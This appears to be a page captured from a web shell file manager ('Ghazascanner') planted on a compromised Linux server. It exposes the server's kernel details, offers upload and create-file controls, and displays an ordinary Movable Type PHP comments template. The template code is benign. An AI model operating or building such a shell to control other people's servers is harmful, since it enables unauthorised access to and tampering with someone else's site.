@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phosweb011 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Current Path :
/
homepage
/
v-mt
/
php
/
lib
/
Path :
Upload File :
New :
File
Dir
//homepage/v-mt/php/lib/block.mtcomments.php
<?php # Movable Type (r) (C) 2001-2008 Six Apart, Ltd. All Rights Reserved. # This code cannot be redistributed without permission from www.sixapart.com. # For more information, consult your Movable Type license. # # $Id: block.mtcomments.php 1187 2008-01-10 14:27:38Z takayama $ function smarty_block_mtcomments($args, $content, &$ctx, &$repeat) { $localvars = array('comments', 'comment_order_num','comment','current_timestamp', 'commenter', 'blog', 'blog_id', 'conditional', 'else_content'); if (!isset($content)) { $ctx->localize($localvars); $entry = $ctx->stash('entry'); if ($entry) $args['entry_id'] = $entry['entry_id']; $blog = $ctx->stash('blog'); if ($blog) $args['blog_id'] = $blog['blog_id']; $comments = $ctx->mt->db->fetch_comments($args); $ctx->stash('comments', $comments); $counter = 0; } else { $comments = $ctx->stash('comments'); $counter = $ctx->stash('comment_order_num'); } if (empty($comments)) { $ret = $ctx->_hdlr_if($args, $content, $ctx, $repeat, 0); if (!$repeat) $ctx->restore($localvars); return $ret; } $ctx->stash('conditional', empty($comments) ? 0 : 1); if ($counter < count($comments)) { $blog_id = $ctx->stash('blog_id'); $comment = $comments[$counter]; if ($comment['comment_commenter_id']) { $commenter = $ctx->mt->db->fetch_author($comment['comment_commenter_id']); $ctx->stash('commenter', $commenter); } else { $ctx->__stash['commenter'] = null; } if ($blog_id != $comment['comment_blog_id']) { $blog_id = $comment['comment_blog_id']; $ctx->stash('blog_id', $blog_id); $ctx->stash('blog', $ctx->mt->db->fetch_blog($blog_id)); } $ctx->stash('comment', $comment); $ctx->stash('current_timestamp', $comment['comment_created_on']); $ctx->stash('comment_order_num', $counter + 1); $repeat = true; } else { $ctx->restore($localvars); $repeat = false; } return $content; } ?>